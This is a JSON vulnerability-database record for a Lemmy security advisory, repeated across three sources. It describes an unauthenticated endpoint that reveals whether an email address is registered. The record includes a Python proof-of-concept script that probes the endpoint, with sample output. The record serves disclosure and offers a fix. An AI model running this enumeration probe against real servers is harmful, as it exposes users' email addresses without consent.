{"id":"GHSA-qxrw-f6fh-34r7","aliases":[],"status":"published","title":"Lemmy resend-verification endpoint exposes registered email addresses to unauthenticated users","description":"## Summary\n\nThe unauthenticated resend-verification endpoint returns different responses for registered and unregistered email addresses. A malicious third party can submit candidate addresses to `/api/v4/account/auth/resend_verification_email` and distinguish accounts from misses.\n\n## Details\n\n`resend_verification_email()` looks up the submitted address and returns the lookup error to the caller:\n\n```rust\nlet local_user_view = LocalUserView::find_by_email(\u0026mut context.pool(), \u0026email).await?;\ncheck_local_user_valid(\u0026local_user_view)?;\n```\n\nThe password reset endpoint already uses a safer pattern. It discards lookup errors and returns success, which prevents the same account-discovery channel.\n\n## Proof of Concept\n\nThe following script creates one user and probes that address plus a missing address.\n\n```python\nimport requests, random, string\n\nBASE = \"http://127.0.0.1:8536/api/v4\"  # change to the target Lemmy URL\nADMIN_USER = \"lemmy\"\nADMIN_PASS = \"lemmylemmy\"\nPASSWORD = \"Password123456!\"\n\ndef post(path, **body):\n    return requests.post(BASE + path, json=body)\n\nsuffix = \"enum\" + \"\".join(random.choice(string.ascii_lowercase) for _ in range(6))\nadmin = post(\"/account/auth/login\", username_or_email=ADMIN_USER, password=ADMIN_PASS).json()[\"jwt\"]\nrequests.put(BASE + \"/site\", headers={\"Authorization\": \"Bearer \" + admin},\n             json={\"registration_mode\": \"open\", \"email_verification_required\": False})\n\nemail = \"alice\" + suffix + \"@example.test\"\npost(\"/account/auth/register\", username=\"alice\" + suffix, password=PASSWORD,\n     password_verify=PASSWORD, email=email).raise_for_status()\n\nfor candidate in [email, \"missing\" + suffix + \"@example.test\"]:\n    r = post(\"/account/auth/resend_verification_email\", email=candidate)\n    print(candidate, \"HTTP\", r.status_code, r.text[:300])\n\n```\n\nOutput:\n\n```text\nalicepoceudtpf@example.test HTTP 200 {\"success\":true}\nmissingpoceudtpf@example.test HTTP 404 {\"error\":\"not_found\",\"cause\":\"Record not found\"}\n```\n\n## Impact\n\nA malicious third party can enumerate registered email addresses without authentication. The endpoint uses the registration rate limit bucket, not an endpoint-specific anti-enumeration limit, so the attacker can automate probes across candidate address lists. The response also distinguishes missing accounts from banned or deleted accounts because `check_local_user_valid()` returns separate error types.\n\n## Recommended Fix\n\nUse the password-reset pattern for resend verification. Move the lookup and email-send work into a helper, ignore helper errors in the handler, and always return `{\"success\": true}` for syntactically valid input.\n\n---\n*Found by [aisafe.io](https://aisafe.io)*","severity":{"version":"4.0","score":5.5,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:P","level":"medium","from":"ghsa"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":false},"cwes":["CWE-204"],"published":"2026-05-06T23:49:18Z","modified":"2026-05-07T13:20:33Z","affected":[{"source":"ghsa","ecosystem":"crates.io","package":"lemmy_api","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"0.19.1-rc.1"}]}]},{"source":"osv","ecosystem":"crates.io","package":"lemmy_api","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"last_affected":"0.19.1-rc.1"}]}]}],"references":[{"url":"https://github.com/LemmyNet/lemmy/security/advisories/GHSA-qxrw-f6fh-34r7","tags":["web"]},{"url":"https://github.com/LemmyNet/lemmy/commit/4afff1699d08920b9a9023e81b229d772b894d91","tags":["web"]},{"url":"https://github.com/advisories/GHSA-qxrw-f6fh-34r7"},{"url":"https://github.com/LemmyNet/lemmy","tags":["package"]}],"sources":{"ghsa":[{"id":"GHSA-qxrw-f6fh-34r7","title":"Lemmy resend-verification endpoint exposes registered email addresses to unauthenticated users","description":"## Summary\n\nThe unauthenticated resend-verification endpoint returns different responses for registered and unregistered email addresses. A malicious third party can submit candidate addresses to `/api/v4/account/auth/resend_verification_email` and distinguish accounts from misses.\n\n## Details\n\n`resend_verification_email()` looks up the submitted address and returns the lookup error to the caller:\n\n```rust\nlet local_user_view = LocalUserView::find_by_email(\u0026mut context.pool(), \u0026email).await?;\ncheck_local_user_valid(\u0026local_user_view)?;\n```\n\nThe password reset endpoint already uses a safer pattern. It discards lookup errors and returns success, which prevents the same account-discovery channel.\n\n## Proof of Concept\n\nThe following script creates one user and probes that address plus a missing address.\n\n```python\nimport requests, random, string\n\nBASE = \"http://127.0.0.1:8536/api/v4\"  # change to the target Lemmy URL\nADMIN_USER = \"lemmy\"\nADMIN_PASS = \"lemmylemmy\"\nPASSWORD = \"Password123456!\"\n\ndef post(path, **body):\n    return requests.post(BASE + path, json=body)\n\nsuffix = \"enum\" + \"\".join(random.choice(string.ascii_lowercase) for _ in range(6))\nadmin = post(\"/account/auth/login\", username_or_email=ADMIN_USER, password=ADMIN_PASS).json()[\"jwt\"]\nrequests.put(BASE + \"/site\", headers={\"Authorization\": \"Bearer \" + admin},\n             json={\"registration_mode\": \"open\", \"email_verification_required\": False})\n\nemail = \"alice\" + suffix + \"@example.test\"\npost(\"/account/auth/register\", username=\"alice\" + suffix, password=PASSWORD,\n     password_verify=PASSWORD, email=email).raise_for_status()\n\nfor candidate in [email, \"missing\" + suffix + \"@example.test\"]:\n    r = post(\"/account/auth/resend_verification_email\", email=candidate)\n    print(candidate, \"HTTP\", r.status_code, r.text[:300])\n\n```\n\nOutput:\n\n```text\nalicepoceudtpf@example.test HTTP 200 {\"success\":true}\nmissingpoceudtpf@example.test HTTP 404 {\"error\":\"not_found\",\"cause\":\"Record not found\"}\n```\n\n## Impact\n\nA malicious third party can enumerate registered email addresses without authentication. The endpoint uses the registration rate limit bucket, not an endpoint-specific anti-enumeration limit, so the attacker can automate probes across candidate address lists. The response also distinguishes missing accounts from banned or deleted accounts because `check_local_user_valid()` returns separate error types.\n\n## Recommended Fix\n\nUse the password-reset pattern for resend verification. Move the lookup and email-send work into a helper, ignore helper errors in the handler, and always return `{\"success\": true}` for syntactically valid input.\n\n---\n*Found by [aisafe.io](https://aisafe.io)*","status":"published","published":"2026-05-06T23:49:18Z","modified":"2026-05-07T13:20:33Z","cvss":[{"version":"4.0","score":5.5,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:P","level":"medium"}],"cwes":["CWE-204"],"updated_at":"2026-11-02T14:40:03.762927Z"}],"osv":[{"id":"GHSA-qxrw-f6fh-34r7","title":"Lemmy resend-verification endpoint exposes registered email addresses to unauthenticated users","description":"## Summary\n\nThe unauthenticated resend-verification endpoint returns different responses for registered and unregistered email addresses. A malicious third party can submit candidate addresses to `/api/v4/account/auth/resend_verification_email` and distinguish accounts from misses.\n\n## Details\n\n`resend_verification_email()` looks up the submitted address and returns the lookup error to the caller:\n\n```rust\nlet local_user_view = LocalUserView::find_by_email(\u0026mut context.pool(), \u0026email).await?;\ncheck_local_user_valid(\u0026local_user_view)?;\n```\n\nThe password reset endpoint already uses a safer pattern. It discards lookup errors and returns success, which prevents the same account-discovery channel.\n\n## Proof of Concept\n\nThe following script creates one user and probes that address plus a missing address.\n\n```python\nimport requests, random, string\n\nBASE = \"http://127.0.0.1:8536/api/v4\"  # change to the target Lemmy URL\nADMIN_USER = \"lemmy\"\nADMIN_PASS = \"lemmylemmy\"\nPASSWORD = \"Password123456!\"\n\ndef post(path, **body):\n    return requests.post(BASE + path, json=body)\n\nsuffix = \"enum\" + \"\".join(random.choice(string.ascii_lowercase) for _ in range(6))\nadmin = post(\"/account/auth/login\", username_or_email=ADMIN_USER, password=ADMIN_PASS).json()[\"jwt\"]\nrequests.put(BASE + \"/site\", headers={\"Authorization\": \"Bearer \" + admin},\n             json={\"registration_mode\": \"open\", \"email_verification_required\": False})\n\nemail = \"alice\" + suffix + \"@example.test\"\npost(\"/account/auth/register\", username=\"alice\" + suffix, password=PASSWORD,\n     password_verify=PASSWORD, email=email).raise_for_status()\n\nfor candidate in [email, \"missing\" + suffix + \"@example.test\"]:\n    r = post(\"/account/auth/resend_verification_email\", email=candidate)\n    print(candidate, \"HTTP\", r.status_code, r.text[:300])\n\n```\n\nOutput:\n\n```text\nalicepoceudtpf@example.test HTTP 200 {\"success\":true}\nmissingpoceudtpf@example.test HTTP 404 {\"error\":\"not_found\",\"cause\":\"Record not found\"}\n```\n\n## Impact\n\nA malicious third party can enumerate registered email addresses without authentication. The endpoint uses the registration rate limit bucket, not an endpoint-specific anti-enumeration limit, so the attacker can automate probes across candidate address lists. The response also distinguishes missing accounts from banned or deleted accounts because `check_local_user_valid()` returns separate error types.\n\n## Recommended Fix\n\nUse the password-reset pattern for resend verification. Move the lookup and email-send work into a helper, ignore helper errors in the handler, and always return `{\"success\": true}` for syntactically valid input.\n\n---\n*Found by [aisafe.io](https://aisafe.io)*","status":"published","published":"2026-05-06T23:49:18Z","modified":"2026-05-07T00:03:51.72457Z","cvss":[{"version":"4.0","score":5.5,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:P","level":"medium"}],"cwes":["CWE-204"],"updated_at":"2026-11-02T15:46:55.122811Z"}]}}
